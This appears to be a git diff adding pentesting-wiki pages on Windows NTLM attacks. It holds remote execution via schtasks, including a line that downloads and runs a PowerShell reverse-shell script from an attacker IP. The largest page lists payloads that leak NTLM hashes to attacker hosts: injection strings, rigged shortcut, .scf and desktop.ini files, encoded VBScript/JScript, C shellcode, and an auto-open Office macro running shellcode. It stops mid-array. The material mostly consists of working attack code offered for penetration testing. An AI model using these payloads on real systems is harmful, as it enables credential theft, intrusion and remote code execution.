+wce.exe -s <username>:<domain>:<hash_lm>:<hash_nt>
+```
+
+### Manual Windows remote execution with username and password
+
+* \*\*\*\*[**PsExec**](psexec-and-winexec.md)\*\*\*\*
+* [**SmbExec**](smbexec.md)\*\*\*\*
+* \*\*\*\*[**WmicExec**](wmicexec.md)\*\*\*\*
+* \*\*\*\*[**AtExec**](atexec.md)\*\*\*\*
+
+## Extracting credentials from a Windows Host
+
+**For more information about** [**how to obtain credentials from a Windows host you should read this page**](../stealing-credentials/)**.**
+
+## NTLM Relay and Responder
+
+**Read more detailed guide on how to perform those attacks here:**
+
+{% page-ref page="../../pentesting/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %}
+
+## Parse NTLM challenges from a network capture
+
+**You can use** [**https://github.com/mlgualtieri/NTLMRawUnHide**](https://github.com/mlgualtieri/NTLMRawUnHide)\*\*\*\*
+
diff --git a/windows/ntlm/atexec.md b/windows/ntlm/atexec.md
new file mode 100644
index 00000000000..bcb7ad68a3c
--- /dev/null
+++ b/windows/ntlm/atexec.md
@@ -0,0 +1,24 @@
+# AtExec / SchtasksExec
+
+## How Does it works
+
+At allows to schedule tasks in hosts where you know username/\(password/Hash\). So, you can use it to execute commands in other hosts and get the output.
+
+```text
+At \\victim 11:00:00PM shutdown -r
+```
+
+Using schtasks you need first to create the task and then call it:
+
+```text
+schtasks /create /n <TASK_NAME> /tr C:\path\executable.exe /sc once /st 00:00 /S <VICTIM> /RU System
+schtasks /run /tn <TASK_NAME> /S <VICTIM>
+```
+
+```bash
+schtasks /create /S dcorp-dc.domain.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "MyNewtask" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.X/InvokePowerShellTcp.ps1''')'"
+schtasks /run /tn "MyNewtask" /S dcorp-dc.domain.local
+```
+
+More information about the [**use of schtasks with silver tickets here**](../active-directory-methodology/silver-ticket.md#host).
+
diff --git a/windows/ntlm/places-to-steal-ntlm-creds.md b/windows/ntlm/places-to-steal-ntlm-creds.md
new file mode 100644
index 00000000000..1291441b79d
--- /dev/null
+++ b/windows/ntlm/places-to-steal-ntlm-creds.md
@@ -0,0 +1,670 @@
+# Places to steal NTLM creds
+
+## Automatic Payloads Creation & Other lists
+
+### [ntlm\_theft](https://github.com/Greenwolf/ntlm_theft)
+
+This tool will **create several documents/files** that if accessed by the user somehow they will **start a NTLM authentication with the attacker**.
+
+#### ntlm\_theft supports the following attack types:
+
+Browse to Folder Containing:
+
+* .url – via URL field
+* .url – via ICONFILE field
+* .lnk - via icon\_location field
+* .scf – via ICONFILE field \(Not Working on Latest Windows\)
+* autorun.inf via OPEN field \(Not Working on Latest Windows\)
+* desktop.ini - via IconResource field \(Not Working on Latest Windows\)
+
+Open Document:
+
+* .xml – via Microsoft Word external stylesheet
+* .xml – via Microsoft Word includepicture field
+* .htm – via Chrome & IE & Edge img src \(only if opened locally, not hosted\)
+* .docx – via Microsoft Word includepicture field
+
+  -.docx – via Microsoft Word external template
+
+  -.docx – via Microsoft Word frameset webSettings
+
+  -.xlsx - via Microsoft Excel external cell
+
+  -.wax - via Windows Media Player playlist \(Better, primary open\)
+
+  -.asx – via Windows Media Player playlist \(Better, primary open\)
+
+  -.m3u – via Windows Media Player playlist \(Worse, Win10 opens first in Groovy\)
+
+  -.jnlp – via Java external jar
+
+  -.application – via any Browser \(Must be served via a browser downloaded or won’t run\)
+
+Open Document and Accept Popup:
+
+* .pdf – via Adobe Acrobat Reader
+
+Click Link in Chat Program:
+
+* .txt – formatted link to paste into Zoom chat
+
+> Example :
+>
+> ```bash
+> # python3 ntlm_theft.py -g all -s 127.0.0.1 -f test
+> Created: test/test.scf (BROWSE)
+> Created: test/test-(url).url (BROWSE)
+> Created: test/test-(icon).url (BROWSE)
+> Created: test/test.rtf (OPEN)
+> Created: test/test-(stylesheet).xml (OPEN)
+> Created: test/test-(fulldocx).xml (OPEN)
+> Created: test/test.htm (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE)
+> Created: test/test-(includepicture).docx (OPEN)
+> Created: test/test-(remotetemplate).docx (OPEN)
+> Created: test/test-(frameset).docx (OPEN)
+> Created: test/test.m3u (OPEN IN WINDOWS MEDIA PLAYER ONLY)
+> Created: test/test.asx (OPEN)
+> Created: test/test.jnlp (OPEN)
+> Created: test/test.application (DOWNLOAD AND OPEN)
+> Created: test/test.pdf (OPEN AND ALLOW)
+> Created: test/zoom-attack-instructions.txt (PASTE TO CHAT)
+> Generation Complete.
+> ```
+
+### [All\_NTLM-Leak](https://github.com/Gl3bGl4z/All_NTLM_leak)
+
+> Cheatsheet
+
+This is a list of techniques to force NTLM authentications to steal credentials from the victim.
+
+### Force NTLM Privileged Authentication
+
+You may be able to **force a windows machine to authenticate to an arbitrary machine** using a privileged account. Read the following page to learn more:
+
+{% page-ref page="../active-directory-methodology/printers-spooler-service-abuse.md" %}
+
+## LFI
+
+The include\(\) in PHP will resolve the network path for us.
+
+```text
+http://host.tld/?page=//11.22.33.44/@OsandaMalith
+```
+
+![](https://osandamalith.files.wordpress.com/2017/03/lfi.png?w=640)
+
+## XXE
+
+In here I’m using “php://filter/convert.base64-encode/resource=” that will resolve a network path.
+
+```markup
+<?xml version="1.0" encoding="ISO-8859-1"?>
+<!DOCTYPE root [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=//11.22.33.44/@OsandaMalith" >
+]>
+<root>
+  <name></name>
+  <tel></tel>
+  <email>OUT&xxe;OUT</email>
+  <password></password>
+</root>
+```
+
+![](https://osandamalith.files.wordpress.com/2017/03/xxe.png?w=640)
+
+## XPath Injection
+
+Usually, doc\(\) is used in out-of-band XPath injections, thus can be applied in resolving a network path.
+
+```text
+http://host.tld/?title=Foundation&type=*&rent_days=* and doc('//35.164.153.224/@OsandaMalith')
+```
+
+![](https://osandamalith.files.wordpress.com/2017/03/xpath.png?w=640)
+
+## MySQL Injection
+
+I have written a complete [post ](https://osandamalith.com/2017/02/03/mysql-out-of-band-hacking/)on MySQL out-of-band injections which can be applied over the internet. You can also use ‘INTO OUTFILE’ to resolve a network path.
+
+```text
+http://host.tld/index.php?id=1’ union select 1,2,load_file(‘\\\\192.168.0.100\\@OsandaMalith’),4;%00
+```
+
+![](https://osandamalith.files.wordpress.com/2017/02/overinternet.png?w=640)
+
+## MSSQL
+
+Since stacked queries are supported we can call stored procedures.
+
+```text
+';declare @q varchar(99);set @q='\\192.168.254.52\test'; exec master.dbo.xp_dirtree @q
+```
+
+## Regsvr32
+
+Accidently found this one while experimenting with .sct files.
+
+```text
+regsvr32 /s /u /i://35.164.153.224/@OsandaMalith scrobj.dll
+```
+
+![](https://osandamalith.files.wordpress.com/2017/03/regsvr32.png?w=640)
+
+## Batch
+
+There are many possible ways you can explore
+
+```text
+echo 1 > //192.168.0.1/abc
+pushd \\192.168.0.1\abc
+cmd /k \\192.168.0.1\abc
+cmd /c \\192.168.0.1\abc
+start \\192.168.0.1\abc
+mkdir \\192.168.0.1\abc
+type\\192.168.0.1\abc
+dir\\192.168.0.1\abc
+find, findstr, [x]copy, move, replace, del, rename and many more!
+```
+
+![](https://osandamalith.files.wordpress.com/2017/03/batch.png?w=640)
+
+## Auto-Complete
+
+You just need to type ‘\host\’ the auto-complete will do the trick under the explorer and the run dialog box.
+
+![](https://osandamalith.files.wordpress.com/2017/03/explorer.png?w=640)
+
+![](https://osandamalith.files.wordpress.com/2017/03/run.png?w=640)
+
+## Autorun.inf
+
+Starting from Windows 7 this feature is disabled. However you can enable by changing the group policy for Autorun. Make sure to hide the Autorun.inf file to work.
+
+```text
+[autorun]
+open=\\35.164.153.224\setup.exe
+icon=something.ico
+action=open Setup.exe
+```
+
+## Shell Command Files
+
+You can save this as something.scf and once you open the folder explorer will try to resolve the network path for the icon.
+
+```text
+[Shell]
+Command=2
+IconFile=\\35.164.153.224\test.ico
+[Taskbar]
+Command=ToggleDesktop
+```
+
+## Desktop.ini
+
+The desktop.ini files contain the information of the icons you have applied to the folder. We can abuse this to resolve a network path. Once you open the folder you should get the hashes.
+
+```text
+mkdir openMe
+attrib +s openMe
+cd openMe
+echo [.ShellClassInfo] > desktop.ini
+echo IconResource=\\192.168.0.1\aa >> desktop.ini
+attrib +s +h desktop.ini
+```
+
+In Windows XP systems the desktop.ini file uses ‘IcondFile’ instead of ‘IconResource’.
+
+```text
+[.ShellClassInfo]
+IconFile=\\192.168.0.1\aa
+IconIndex=1337
+```
+
+## Shortcut Files \(.lnk\)
+
+We can create a shortcut containing our network path and as you as you open the shortcut Windows will try to resolve the network path. You can also specify a keyboard shortcut to trigger the shortcut. For the icon you can give the name of a Windows binary or choose an icon from either shell32.dll, Ieframe.dll, imageres.dll, pnidui.dll or wmploc.dll located in the system32 directory.
+
+```text
+Set shl = CreateObject("WScript.Shell")
+Set fso = CreateObject("Scripting.FileSystemObject")
+currentFolder = shl.CurrentDirectory
+
+Set sc = shl.CreateShortcut(fso.BuildPath(currentFolder, "\StealMyHashes.lnk"))
+
+sc.TargetPath = "\\35.164.153.224\@OsandaMalith"
+sc.WindowStyle = 1
+sc.HotKey = "Ctrl+Alt+O"
+sc.IconLocation = "%windir%\system32\shell32.dll, 3"
+sc.Description = "I will Steal your Hashes"
+sc.Save
+```
+
+The Powershell version.
+
+```text
+$objShell = New-Object -ComObject WScript.Shell
+$lnk = $objShell.CreateShortcut("StealMyHashes.lnk")
+$lnk.TargetPath = "\\35.164.153.224\@OsandaMalith"
+$lnk.WindowStyle = 1
+$lnk.IconLocation = "%windir%\system32\shell32.dll, 3"
+$lnk.Description = "I will Steal your Hashes"
+$lnk.HotKey = "Ctrl+Alt+O"
+$lnk.Save()
+```
+
+![](https://osandamalith.files.wordpress.com/2017/03/shortcut2.png?w=640)
+
+## Internet Shortcuts \(.url\)
+
+Another shortcut in Windows is the Internet shortcuts. You can save this as something.url
+
+```text
+echo [InternetShortcut] > stealMyHashes.url 
+echo URL=file://192.168.0.1/@OsandaMalith >> stealMyHashes.url
+```
+
+## Autorun with Registry
+
+You can add a new registry key in any of the following paths.
+
+```text
+HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
+HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
+HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
+HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
+```
+
+![](https://osandamalith.files.wordpress.com/2017/03/registry.png?w=640)
+
+## Powershell
+
+There are probably many scriptlets in Powershell that would resolve a network path.
+
+```text
+Invoke-Item \\192.168.0.1\aa
+Get-Content \\192.168.0.1\aa
+Start-Process \\192.168.0.1\aa
+```
+
+## IE
+
+IE will resolve UNC paths. For example
+
+```text
+<img src="\\\\192.168.0.1\\aa">
+```
+
+You can inject under XSS or in scenarios you find SQL injection. For example.
+
+```text
+http://host.tld/?id=-1' union select 1,'<img src="\\\\192.168.0.1\\aa">';%00
+```
+
+## VBScript
+
+You can save this as .vbs or can be used inside a macro that is applied to Word or Excel files.
+
+```bash
+Set fso = CreateObject("Scripting.FileSystemObject")
+Set file = fso.OpenTextFile("//192.168.0.100/aa", 1)
+```
+
+You can apply in web pages but this works only with IE.
+
+```markup
+<html>
+<script type="text/Vbscript">
+<!--
+Set fso = CreateObject("Scripting.FileSystemObject")
+Set file = fso.OpenTextFile("//192.168.0.100/aa", 1)
+//-->
+</script>
+</html>
+```
+
+Here’ the encoded version. You can encode and save this as something.vbe
+
+```text
+#@~^ZQAAAA==jY~6?}'ZM2mO2}4%+1YcEUmDb2YbxocorV?H/O+h6(LnmDE#=?nO,sksn{0dWcGa+U:+XYsbVcJJzf*cF*cF*2  yczmCE~8#XSAAAA==^#~@
+```
+
+You can apply this in html files too. But only works with IE. You can save this as something.hta which will be an HTML Application under windows, which mshta.exe will execute it. By default it uses IE.
+
+```text
+<html>
+<script type="text/Vbscript.Encode">
+<!--
+#@~^ZQAAAA==jY~6?}'ZM2mO2}4%+1YcEUmDb2YbxocorV?H/O+h6(LnmDE#=?nO,sksn{0dWcGa+U:+XYsbVcJJzf*cF*cF*2  yczmCE~8#XSAAAA==^#~@
+//-->
+</script>
+</html>
+```
+
+## JScript
+
+You can save this as something.js under windows.
+
+```javascript
+var fso = new ActiveXObject("Scripting.FileSystemObject")
+fso.FileExists("//192.168.0.103/aa")
+```
+
+You can apply the same in html files but only works with IE. Also you can save this as something.hta.
+
+```markup
+<html>
+<script type="text/Jscript">
+<!--
+var fso = new ActiveXObject("Scripting.FileSystemObject")
+fso.FileExists("//192.168.0.103/aa")
+//-->
+</script>
+</html>
+```
+
+Here’s the encoded version. You can save this as something.jse.
+
+```text
+#@~^XAAAAA==-mD~6/K'xh,)mDk-+or8%mYvE?1DkaOrxTRwks+jzkYn:}8LmOE*i0dGcsrV3XkdD/vJzJFO+R8v0RZRqT2zlmE#Ux4AAA==^#~@
+```
+
+The html version of this.
+
+```markup
+<html>
+<script type="text/Jscript.Encode">
+<!--
+#@~^XAAAAA==-mD~6/K'xh,)mDk-+or8%mYvE?1DkaOrxTRwks+jzkYn:}8LmOE*i0dGcsrV3XkdD/vJzJFO+R8v0RZRqT2zlmE#Ux4AAA==^#~@
+//-->
+</script>
+</html>
+```
+
+## Windows Script Files
+
+Save this as something.wsf.
+
+```markup
+<package>
+  <job id="boom">
+    <script language="VBScript">
+       Set fso = CreateObject("Scripting.FileSystemObject")
+       Set file = fso.OpenTextFile("//192.168.0.100/aa", 1)
+    </script>
+   </job>
+</package>
+```
+
+## Shellcode
+
+Here’s a small shellcode I made. This shellcode uses CreateFile and tries to read a non-existing network path. You can use tools such as Responder to capture NetNTLM hashes. The shellcode can be modified to steal hashes over the internet. SMBRelay attacks can also be performed.
+
+```text
+/*
+    Title: CreateFile Shellcode
+    Author: Osanda Malith Jayathissa (@OsandaMalith)
+    Website: https://osandamalith.com
+    Size: 368 Bytes
+*/
+# include <stdlib.h>
+# include <stdio.h>
+# include <string.h>
+# include <windows.h>
+
+int main() {
+
+  char *shellcode = 
+  "\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x4c\x03\x02\x02\x81\xf1\x02\x02"
+  "\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x05\x0f\x44\xc6\xaa"
+  "\xe2\xf6\xe8\x05\x05\x05\x05\x5e\x8b\xfe\x81\xc6\x29\x01\x05\x05"
+  "\xb9\x02\x05\x05\x05\xfc\xad\x01\x3c\x07\xe2\xfa\x56\xb9\x8d\x10"
+  "\xb7\xf8\xe8\x5f\x05\x05\x05\x68\x31\x01\x05\x05\xff\xd0\xb9\xe0"
+  "\x53\x31\x4b\xe8\x4e\x05\x05\x05\xb9\xac\xd5\xaa\x88\x8b\xf0\xe8"
+  "\x42\x05\x05\x05\x6a\x05\x68\x80\x05\x05\x05\x6a\x03\x6a\x05\x6a"
+  "\x01\x68\x05\x05\x05\x80\x68\x3e\x01\x05\x05\xff\xd0\x6a\x05\xff"
+  "\xd6\x33\xc0\x5e\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c\x61\x0f\xbe"
+  "\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0\x75\xea\x8b"
+  "\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53\x56\x57\x89"
+  "\x4d\xf4\x64\xa1\x30\x05\x05\x05\x89\x45\xfc\x8b\x45\xfc\x8b\x40"
+  "\x0c\x8b\x40\x14\x89\x45\xec\x8b\xf8\x8b\xcf\xe8\xd2\xff\xff\xff"
+  "\x8b\x70\x18\x8b\x3f\x85\xf6\x74\x4f\x8b\x46\x3c\x8b\x5c\x30\x78"
+  "\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff\xff\xff\x8b"
+  "\x4c\x33\x20\x89\x45\xf8\x33\xc0\x03\xce\x89\x4d\xf0\x89\x45\xfc"
+  "\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75\xff\xff\xff"
+  "\x03\x45\xf8\x39\x45\xf4\x74\x1c\x8b\x45\xfc\x8b\x4d\xf0\x40\x89"
+  "\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c\x33\xc0\x5f"
+  "\x5e\x5b\xc9\xc3\x8b\x4d\xfc\x8b\x44\x33\x24\x8d\x04\x48\x0f\xb7"
+  "\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04\x30\x03\xc6\xeb\xdf"
+  "\x21\x05\x05\x05\x50\x05\x05\x05\x6b\x65\x72\x6e\x65\x6c\x33\x32"
+  "\x2e\x64\x6c\x6c\x05\x2f\x2f\x65\x72\x72\x6f\x72\x2f\x61\x61\x05";
+
+  DWORD oldProtect;
+
+    wprintf(L"Length : %d bytes\n@OsandaMalith", strlen(shellcode));
+    BOOL ret = VirtualProtect (shellcode, strlen(shellcode), PAGE_EXECUTE_READWRITE, &oldProtect);
+
+    if (!ret) {
+        fprintf(stderr, "%s", "Error Occured");
+        return EXIT_FAILURE;
+    }
+
+    ((void(*)(void))shellcode)();
+
+    VirtualProtect (shellcode, strlen(shellcode), oldProtect, &oldProtect);
+
+    return EXIT_SUCCESS;
+}
+```
+
+[https://packetstormsecurity.com/files/141707/CreateFile-Shellcode.html](https://packetstormsecurity.com/files/141707/CreateFile-Shellcode.html)
+
+![](https://osandamalith.files.wordpress.com/2017/03/overintenert1.png?w=640)
+
+## Shellcode Inside Macros
+
+Here’s the above shellcode applied inside a Word/Excel macro. You can use the same code inside a VB6 application.
+
+```text
+' Author : Osanda Malith Jayathissa (@OsandaMalith)
+' Title: Shellcode to request a non-existing network path
+' Website: https://osandamalith
+' Shellcode : https://packetstormsecurity.com/files/141707/CreateFile-Shellcode.html
+' This is a word/excel macro. This can be used in vb6 applications as well
+
+#If Vba7 Then
+    Private Declare PtrSafe Function CreateThread Lib "kernel32" ( _
+        ByVal lpThreadAttributes As Long, _
+        ByVal dwStackSize As Long, _ 
+        ByVal lpStartAddress As LongPtr, _
+        lpParameter As Long, _
+        ByVal dwCreationFlags As Long, _ 
+        lpThreadId As Long) As LongPtr
+
+
+    Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" ( _
+        ByVal lpAddress As Long, _
+        ByVal dwSize As Long, _
+        ByVal flAllocationType As Long, _
+        ByVal flProtect As Long) As LongPtr 
+
+    Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" ( _
+        ByVal Destination  As LongPtr, _
+        ByRef Source As Any, _
+        ByVal Length As Long) As LongPtr
+
+#Else
+    Private Declare Function CreateThread Lib "kernel32" ( _
+        ByVal lpThreadAttributes As Long, _
+        ByVal dwStackSize As Long, _
+        ByVal lpStartAddress As Long, _
+        lpParameter As Long, _
+        ByVal dwCreationFlags As Long, _
+        lpThreadId As Long) As Long
+
+    Private Declare Function VirtualAlloc Lib "kernel32" ( _
+        ByVal lpAddress As Long, _
+        ByVal dwSize As Long, _
+        ByVal flAllocationType As Long, _
+        ByVal flProtect As Long) As Long
+
+    Private Declare Function RtlMoveMemory Lib "kernel32" ( _
+        ByVal Destination As Long, _
+        ByRef Source As Any, _
+        ByVal Length As Long) As Long
+#EndIf
+
+Const MEM_COMMIT = &H1000
+Const PAGE_EXECUTE_READWRITE = &H40
+
+Sub Auto_Open()
+    Dim source As Long, i As Long
+#If Vba7 Then
+    Dim  lpMemory As LongPtr, lResult As LongPtr
+#Else
+    Dim  lpMemory As Long, lResult As Long
+#EndIf
+
+    Dim bShellcode(376) As Byte
+        bShellcode(0) = 232
+        bShellcode(1) = 255
+        bShellcode(2) = 255
+        bShellcode(3) = 255
+        bShellcode(4) = 255
+        bShellcode(5) = 192
+        bShellcode(6) = 95
+        bShellcode(7) = 185
+        bShellcode(8) = 85
+        bShellcode(9) = 3
+        bShellcode(10) = 2
+        bShellcode(11) = 2
+        bShellcode(12) = 129
+        bShellcode(13) = 241
+        bShellcode(14) = 2
+        bShellcode(15) = 2
+        bShellcode(16) = 2
+                .....................
+lpMemory = VirtualAlloc(0, UBound(bShellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE)
+    For i = LBound(bShellcode) To UBound(bShellcode)
+        source = bShellcode(i)
+        lResult = RtlMoveMemory(lpMemory + i, source, 1)
+    Next i
+    lResult = CreateThread(0, 0, lpMemory, 0, 0, 0)
+End Sub
+Sub AutoOpen()
+    Auto_Open
+End Sub
+Sub Workbook_Open()
+    Auto_Open
+End Sub
+```
+
+[https://github.com/OsandaMalith/Shellcodes/blob/master/CreateFile/CreateFile.vba](https://github.com/OsandaMalith/Shellcodes/blob/master/CreateFile/CreateFile.vba)
+
+## Shellcode Inside VBS and JS
+
+subTee has done many kinds of research with JS and DynamicWrapperX. You can find a POC using the DynamicWrapperX DLL.  
+[http://subt0x10.blogspot.com/2016/09/shellcode-via-jscript-vbscript.html](http://subt0x10.blogspot.com/2016/09/shellcode-via-jscript-vbscript.html)  
+Based on that I have ported the shellcode to JS and VBS. The fun part is we can embed shellcode in JScript or VBScript inside html and .hta formats.  
+Note the following shellcode directs to my IP.
+
+#### JScript
+
+```text
+/*
+ * Author : Osanda Malith Jayathissa (@OsandaMalith)
+ * Title: Shellcode to request a non-existing network path
+ * Website: https://osandamalith.com
+ * Shellcode : https://packetstormsecurity.com/files/141707/CreateFile-Shellcode.html
+ * Based on subTee's JS: https://gist.github.com/subTee/1a6c96df38b9506506f1de72573ceb04
+ */
+DX = new ActiveXObject("DynamicWrapperX"); 
+DX.Register("kernel32.dll", "VirtualAlloc", "i=luuu", "r=u");
+DX.Register("kernel32.dll","CreateThread","i=uullu","r=u" );
+DX.Register("kernel32.dll", "WaitForSingleObject", "i=uu", "r=u");
+
+var MEM_COMMIT = 0x1000;
+var PAGE_EXECUTE_READWRITE = 0x40;
+
+var sc = [
+0xe8, 0xff, 0xff, 0xff, 0xff, 0xc0, 0x5f, 0xb9, 0x55, 0x03, 0x02, 0x02, 0x81, 0xf1, 0x02, 0x02, 0x02, 0x02, 0x83, 0xc7,
+0x1d, 0x33, 0xf6, 0xfc, 0x8a, 0x07, 0x3c, 0x05, 0x0f, 0x44, 0xc6, 0xaa, 0xe2, 0xf6, 0xe8, 0x05, 0x05, 0x05, 0x05, 0x5e,
+0x8b, 0xfe, 0x81, 0xc6, 0x29, 0x01, 0x05, 0x05, 0xb9, 0x02, 0x05, 0x05, 0x05, 0xfc, 0xad, 0x01, 0x3c, 0x07, 0xe2, 0xfa,
+0x56, 0xb9, 0x8d, 0x10, 0xb7, 0xf8, 0xe8, 0x5f, 0x05, 0x05, 0x05, 0x68, 0x31, 0x01, 0x05, 0x05, 0xff, 0xd0, 0xb9, 0xe0,
+0x53, 0x31, 0x4b, 0xe8, 0x4e, 0x05, 0x05, 0x05, 0xb9, 0xac, 0xd5, 0xaa, 0x88, 0x8b, 0xf0, 0xe8, 0x42, 0x05, 0x05, 0x05,
+0x6a, 0x05, 0x68, 0x80, 0x05, 0x05, 0x05, 0x6a, 0x03, 0x6a, 0x05, 0x6a, 0x01, 0x68, 0x05, 0x05, 0x05, 0x80, 0x68, 0x3e,
+0x01, 0x05, 0x05, 0xff, 0xd0, 0x6a, 0x05, 0xff, 0xd6, 0x33, 0xc0, 0x5e, 0xc3, 0x33, 0xd2, 0xeb, 0x10, 0xc1, 0xca, 0x0d,
+0x3c, 0x61, 0x0f, 0xbe, 0xc0, 0x7c, 0x03, 0x83, 0xe8, 0x20, 0x03, 0xd0, 0x41, 0x8a, 0x01, 0x84, 0xc0, 0x75, 0xea, 0x8b,
+0xc2, 0xc3, 0x8d, 0x41, 0xf8, 0xc3, 0x55, 0x8b, 0xec, 0x83, 0xec, 0x14, 0x53, 0x56, 0x57, 0x89, 0x4d, 0xf4, 0x64, 0xa1,
+0x30, 0x05, 0x05, 0x05, 0x89, 0x45, 0xfc, 0x8b, 0x45, 0xfc, 0x8b, 0x40, 0x0c, 0x8b, 0x40, 0x14, 0x89, 0x45, 0xec, 0x8b,
+0xf8, 0x8b, 0xcf, 0xe8, 0xd2, 0xff, 0xff, 0xff, 0x8b, 0x70, 0x18, 0x8b, 0x3f, 0x85, 0xf6, 0x74, 0x4f, 0x8b, 0x46, 0x3c,
+0x8b, 0x5c, 0x30, 0x78, 0x85, 0xdb, 0x74, 0x44, 0x8b, 0x4c, 0x33, 0x0c, 0x03, 0xce, 0xe8, 0x96, 0xff, 0xff, 0xff, 0x8b,
+0x4c, 0x33, 0x20, 0x89, 0x45, 0xf8, 0x33, 0xc0, 0x03, 0xce, 0x89, 0x4d, 0xf0, 0x89, 0x45, 0xfc, 0x39, 0x44, 0x33, 0x18,
+0x76, 0x22, 0x8b, 0x0c, 0x81, 0x03, 0xce, 0xe8, 0x75, 0xff, 0xff, 0xff, 0x03, 0x45, 0xf8, 0x39, 0x45, 0xf4, 0x74, 0x1c,
+0x8b, 0x45, 0xfc, 0x8b, 0x4d, 0xf0, 0x40, 0x89, 0x45, 0xfc, 0x3b, 0x44, 0x33, 0x18, 0x72, 0xde, 0x3b, 0x7d, 0xec, 0x75,
+0x9c, 0x33, 0xc0, 0x5f, 0x5e, 0x5b, 0xc9, 0xc3, 0x8b, 0x4d, 0xfc, 0x8b, 0x44, 0x33, 0x24, 0x8d, 0x04, 0x48, 0x0f, 0xb7,
+0x0c, 0x30, 0x8b, 0x44, 0x33, 0x1c, 0x8d, 0x04, 0x88, 0x8b, 0x04, 0x30, 0x03, 0xc6, 0xeb, 0xdf, 0x21, 0x05, 0x05, 0x05,
+0x50, 0x05, 0x05, 0x05, 0x6b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x33, 0x32, 0x2e, 0x64, 0x6c, 0x6c, 0x05, 0x2f, 0x2f, 0x33,
+0x35, 0x2e, 0x31, 0x36, 0x34, 0x2e, 0x31, 0x35, 0x33, 0x2e, 0x32, 0x32, 0x34, 0x2f, 0x61, 0x61, 0x05];
+
+var scLocation = DX.VirtualAlloc(0, sc.length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 
+for(var i = 0; i < sc.length; i++) DX.NumPut(sc[i],scLocation,i);
+var thread = DX.CreateThread(0,0,scLocation,0,0);
+```
+
+[https://github.com/OsandaMalith/Shellcodes/blob/master/CreateFile/CreateFile.js](https://github.com/OsandaMalith/Shellcodes/blob/master/CreateFile/CreateFile.js)
+
+#### VBScript
+
+```text
+' Author : Osanda Malith Jayathissa (@OsandaMalith)
+' Title: Shellcode to request a non-existing network path
+' Website: https://osandamalith.com
+' Shellcode : https://packetstormsecurity.com/files/141707/CreateFile-Shellcode.html
+' Based on subTee's JS: https://gist.github.com/subTee/1a6c96df38b9506506f1de72573ceb04
+
+Set DX = CreateObject("DynamicWrapperX")
+DX.Register "kernel32.dll", "VirtualAlloc", "i=luuu", "r=u"
+DX.Register "kernel32.dll","CreateThread","i=uullu","r=u"
+DX.Register "kernel32.dll", "WaitForSingleObject", "i=uu", "r=u"
+
+Const MEM_COMMIT = &H1000
+Const PAGE_EXECUTE_READWRITE = &H40
+
+shellcode = Array( _
+&He8, &Hff, &Hff, &Hff, &Hff, &Hc0, &H5f, &Hb9, &H55, &H03, &H02, &H02, &H81, &Hf1, &H02, &H02, &H02, &H02, &H83, &Hc7, _
+&H1d, &H33, &Hf6, &Hfc, &H8a, &H07, &H3c, &H05, &H0f, &H44, &Hc6, &Haa, &He2, &Hf6, &He8, &H05, &H05, &H05, &H05, &H5e, _
+&H8b, &Hfe, &H81, &Hc6, &H29, &H01, &H05, &H05, &Hb9, &H02, &H05, &H05, &H05, &Hfc, &Had, &H01, &H3c, &H07, &He2, &Hfa, _
+&H56, &Hb9, &H8d, &H10, &Hb7, &Hf8, &He8, &H5f, &H05, &H05, &H05, &H68, &H31, &H01, &H05, &H05, &Hff, &Hd0, &Hb9, &He0, _ 
+&H53, &H31, &H4b, &He8, &H4e, &H05, &H05, &H05, &Hb9, &Hac, &Hd5, &Haa, &H88, &H8b, &Hf0, &He8, &H42, &H05, &H05, &H05, _
+&H6a, &H05, &H68, &H80, &H05, &H05, &H05, &H6a, &H03, &H6a, &H05, &H6a, &H01, &H68, &H05, &H05, &H05, &H80, &H68, &H3e, _
+&H01, &H05, &H05, &Hff, &Hd0, &H6a, &H05, &Hff, &Hd6, &H33, &Hc0, &H5e, &Hc3, &H33, &Hd2, &Heb, &H10, &Hc1, &Hca, &H0d, _
+&H3c, &H61, &H0f, &Hbe, &Hc0, &H7c, &H03, &H83, &He8, &H20, &H03, &Hd0, &H41, &H8a, &H01, &H84, &Hc0, &H75, &Hea, &H8b, _
+&Hc2, &Hc3, &H8d, &H41, &Hf8, &Hc3, &H55, &H8b, &Hec, &H83, &Hec, &H14, &H53, &H56, &H57, &H89, &H4d, &Hf4, &H64, &Ha1, _
+&H30, &H05, &H05, &H05, &H89, &H45, &Hfc, &H8b, &H45, &Hfc, &H8b, &H40, &H0c, &H8b, &H40, &H14, &H89, &H45, &Hec, &H8b, _
+&Hf8, &H8b, &Hcf, &He8, &Hd2, &Hff, &Hff, &Hff, &H8b, &H70, &H18, &H8b, &H3f, &H85, &Hf6, &H74, &H4f, &H8b, &H46, &H3c, _ 
+&H8b, &H5c, &H30, &H78, &H85, &Hdb, &H74, &H44, &H8b, &H4c, &H33, &H0c, &H03, &Hce, &He8, &H96, &Hff, &Hff, &Hff, &H8b, _
+&H4c, &H33, &H20, &H89, &H45, &Hf8, &H33, &Hc0, &H03, &Hce, &H89, &H4d, &Hf0, &H89, &H45, &Hfc, &H39, &H44, &H33, &H18, _
